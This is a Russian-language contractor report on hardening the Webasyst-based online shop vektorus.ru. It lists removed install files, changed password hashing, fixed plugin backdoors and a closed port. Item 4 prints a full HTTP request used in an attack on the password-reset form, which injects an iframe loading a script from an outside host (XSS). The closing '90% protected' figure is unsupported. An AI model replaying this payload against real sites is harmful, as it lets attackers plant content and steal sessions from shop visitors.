Отчет о проделанной оптимизации по безопасности интернет магазина vektorus.ru

Произведена работа по анализу уязвимости интернет магазина, в ходе которой были выявлены и устранены проблемы в безопасности:

1. В первую очередь была устранена возможность потери(удаления) всех данных запуском одной ссылки, для этого с хостинга были удалены инсталляционные файлы.

2. Для предотвращения возможности взлома пароля была изменена функция генерации хеша паролей.

3. В некоторых плагинах (модулях) были бэкдоры, все стандартные ошибки были исправлены.

4. Был найден и исправлен вредоносный код:

   POST /published/forgot.php HTTP/1.1
   Content-Length: 210
   Content-Type: application/x-www-form-urlencoded
   Cookie: PHPSESSID=9bae5994ebe0dd6b6fe023506dde2c32; csd=5; cod=3.5.9
   Host: SITE.ru
   Connection: Keep-alive
   Accept-Encoding: gzip,deflate
   User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
   Accept: */*

   C=&edited=1&enter=%d0%9e%d1%82%d0%bf%d1%80%d0%b0%d0%b2%d0%b8%d1%82%d1%8c&userdata%5bDB_KEY%5d=PROSTITUTKI&userdata%5bEMAIL%5d=%22%20><iframe src="http://himic.ru/xss.html"><div%20bad%3d%22&userdata%5bU_ID%5d=01%2f01%2f1967

5. CMS Webasyst написана на фреймворке, в ней есть ряд разносторонних неточностей (не доработок), которые приводят к взлому БД, воровству паролей, почтовому спаму, появлению вредоносных ссылок и т.п. В новых версиях CMS эти проблемы устранены. Так как у заказчика исходники закодированы и исключена возможность обновления системы, то – все недоработки cms устранили вручную по документациям о безопасности CMS Webasyst.

6. Функция обмена данными с 1С у заказчик отключена, но доступ по порту 9000 был открыт. Данную брешь в безопасности устранили: закрыли доступы программным способом.

7. Также одна из распространенных уязвимостей, через которую можно загрузить шелл и взломать CMS была устранена.

Проделанная работа для оптимизации безопасности, позволила защитить интернет магазин заказчика на 90%, это является высоким показателем ввиду того, что разработчики CMS не могут 100% гарантировать безопасности своей CMS.